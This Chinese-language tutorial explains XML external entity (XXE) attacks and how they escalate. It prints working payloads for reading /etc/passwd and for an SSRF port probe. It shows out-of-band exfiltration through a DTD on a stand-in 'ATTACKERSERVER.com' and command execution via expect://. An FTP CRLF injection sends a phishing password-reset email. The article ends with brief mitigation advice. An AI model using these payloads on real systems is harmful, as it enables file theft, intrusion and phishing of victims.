從XML到遠(yuǎn)程代碼執(zhí)行的方法是什么

本文小編為大家詳細(xì)介紹“從XML到遠(yuǎn)程代碼執(zhí)行的方法是什么”，內(nèi)容詳細(xì)，步驟清晰，細(xì)節(jié)處理妥當(dāng)，希望這篇“從XML到遠(yuǎn)程代碼執(zhí)行的方法是什么”文章能幫助大家解決疑惑，下面跟著小編的思路慢慢深入，一起來學(xué)習(xí)新知識吧。

什么是XXE

簡單來說，XXE就是XML外部實(shí)體注入。當(dāng)允許引用外部實(shí)體時，通過構(gòu)造惡意內(nèi)容，就可能導(dǎo)致任意文件讀取、系統(tǒng)命令執(zhí)行、內(nèi)網(wǎng)端口探測、攻擊內(nèi)網(wǎng)網(wǎng)站等危害。

例如，如果你當(dāng)前使用的程序?yàn)镻HP，則可以將libxml_disable_entity_loader設(shè)置為TRUE來禁用外部實(shí)體，從而起到防御的目的。

基本利用

通常攻擊者會將payload注入XML文件中，一旦文件被執(zhí)行，將會讀取服務(wù)器上的本地文件，并對內(nèi)網(wǎng)發(fā)起訪問掃描內(nèi)部網(wǎng)絡(luò)端口。換而言之，XXE是一種從本地到達(dá)各種服務(wù)的方法。此外，在一定程度上這也可能幫助攻擊者繞過防火墻規(guī)則過濾或身份驗(yàn)證檢查。

以下是一個簡單的XML代碼POST請求示例：

POST /vulnerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-Type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1

<?xml version="1.0"?>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>XML is the best!</description>
   </core>
</catalog>

之后，上述代碼將交由服務(wù)器的XML處理器解析。代碼被解釋并返回：{"Request Successful": "Added!"}

現(xiàn)在，當(dāng)攻擊者試圖濫用XML代碼解析時會發(fā)生什么？讓我們編輯代碼并包含我們的惡意payload：

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>

代碼被解釋并返回：

{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...

Blind OOB XXE

如上例所示，服務(wù)器將/etc/passwd文件的內(nèi)容作為響應(yīng)返回給我們的XXE。但是在某些情況下，即便服務(wù)器可能存在XXE，也不會向攻擊者的瀏覽器或代理返回任何響應(yīng)。遇到這種情況，我們可以使用Blind XXE漏洞來構(gòu)建一條外帶數(shù)據(jù)(OOB)通道來讀取數(shù)據(jù)。雖然我們無法直接查看文件內(nèi)容，但我們?nèi)匀豢梢允褂靡资芄舻姆?wù)器作為代理，在外部網(wǎng)絡(luò)上執(zhí)行掃描以及代碼。

場景1 - 端口掃描

在第一個示例中，我們通過URI將請求指向了/etc/passwd文件，并最終成功的為我們返回了文件中的內(nèi)容。除此之外，我們也可以使用http URI并強(qiáng)制服務(wù)器向我們指定的端點(diǎn)和端口發(fā)送GET請求，將XXE轉(zhuǎn)換為SSRF（服務(wù)器端請求偽造）。

以下代碼將嘗試與端口8080通信，根據(jù)響應(yīng)時間/長度，攻擊者將可以判斷該端口是否已被開啟。

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>

場景2 - 通過DTD竊取文件

外部文檔類型定義（DTD）文件可被用于觸發(fā)OOB XXE。攻擊者將.dtd文件托管在VPS上，使遠(yuǎn)程易受攻擊的服務(wù)器獲取該文件并執(zhí)行其中的惡意命令。

以下請求將被發(fā)送到應(yīng)用程序以演示和測試該方法：

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd">
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>

上述代碼一旦由易受攻擊的服務(wù)器處理，就會向我們的遠(yuǎn)程服務(wù)器發(fā)送請求，查找包含我們的payload的DTD文件：

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKESERVER.com/?%file;'>">
%all;

讓我們花點(diǎn)時間了解上述請求的執(zhí)行流程。結(jié)果是有兩個請求被發(fā)送到了我們的服務(wù)器，第二個請求為/etc/passwd文件的內(nèi)容。

在我們的VPS日志中我們可以看到，帶有文件內(nèi)容的第二個請求，以此我們也確認(rèn)了OOB XXE漏洞的存在：

http://ATTACKERSERVER.com/?daemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fbin%2Fsh%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fbin%2Fsh

場景3 - 遠(yuǎn)程代碼執(zhí)行

這種情況很少發(fā)生，但有些情況下攻擊者能夠通過XXE執(zhí)行代碼，這主要是由于配置不當(dāng)/開發(fā)內(nèi)部應(yīng)用導(dǎo)致的。如果我們足夠幸運(yùn)，并且PHP expect模塊被加載到了易受攻擊的系統(tǒng)或處理XML的內(nèi)部應(yīng)用程序上，那么我們就可以執(zhí)行如下的命令：

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>

響應(yīng)：

{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...

場景4 - 釣魚

我們使用Java的XML解析器找到了一個易受攻擊的端點(diǎn)。掃描內(nèi)部端口后，我們發(fā)現(xiàn)了一個偵聽在25端口的SMTP服務(wù)，Java支持在sun.net.ftp.impl.FtpClient中的ftp URI。因此，我們可以指定用戶名和密碼，例如ftp://user:password@host:port/test.txt，F(xiàn)TP客戶端將在連接中發(fā)送相應(yīng)的USER命令。

但是如果我們將%0D%0A (CRLF)添加到URL的user部分的任意位置，我們就可以終止USER命令并向FTP會話中注入一個新的命令，即允許我們向25端口發(fā)送任意的SMTP命令：

ftp://a%0D%0A
EHLO%20a%0D%0A
MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A
RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A
DATA%0D%0A
From%3A%20support%40VULNERABLESYSTEM.com%0A
To%3A%20victim%40gmail.com%0A
Subject%3A%20test%0A
%0A
test!%0A
%0D%0A
.%0D%0A
QUIT%0D%0A
:a@VULNERABLESYSTEM.com:25

當(dāng)FTP客戶端使用此URL連接時，以下命令將會被發(fā)送給VULNERABLESYSTEM.com上的郵件服務(wù)器：

ftp://a
EHLO a
MAIL FROM: <support@VULNERABLESYSTEM.com>
RCPT TO: <victim@gmail.com>
DATA
From: support@VULNERABLESYSTEM.com
To: victim@gmail.com
Subject: Reset your password
We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com
.
QUIT
:support@VULNERABLESYSTEM.com:25

這意味著攻擊者可以從從受信任的來源發(fā)送釣魚郵件（例如：帳戶重置鏈接）并繞過垃圾郵件過濾器的檢測。除了鏈接之外，甚至我們也可以發(fā)送附件。

實(shí)用工具

能手動編輯web請求對于XXE攻擊至關(guān)重要，這里我推薦大家使用BurpSuite。BurpSuite的掃描功能可以為我們檢測潛在的XXE漏洞，其次burp的Intruder功能非常適合用于端口探測。但要提醒的是工具只是我們的輔助，在某些情況下手動測試可能效果更好！

HTTP請求分析工具像RequestBin 和 HookBin 都非常適合OOB XXE的測試。此外，BurpSuite Pro的Collaborator也是個不錯的選擇，但一些安全研究人員他們更喜歡使用他們自己的VPS。

緩解措施

上面討論的主要問題就是XML解析器解析了用戶發(fā)送的不可信數(shù)據(jù)。然而，要去校驗(yàn)DTD(document type definition)中SYSTEM標(biāo)識符定義的數(shù)據(jù)，并不容易，也不大可能。大部分的XML解析器默認(rèn)對于XXE攻擊是脆弱的。因此，最好的解決辦法就是配置XML處理器去使用本地靜態(tài)的DTD，不允許XML中含有任何自己聲明的DTD。

讀到這里，這篇“從XML到遠(yuǎn)程代碼執(zhí)行的方法是什么”文章已經(jīng)介紹完畢，想要掌握這篇文章的知識點(diǎn)還需要大家自己動手實(shí)踐使用過才能領(lǐng)會，如果想了解更多相關(guān)內(nèi)容的文章，歡迎關(guān)注億速云行業(yè)資訊頻道。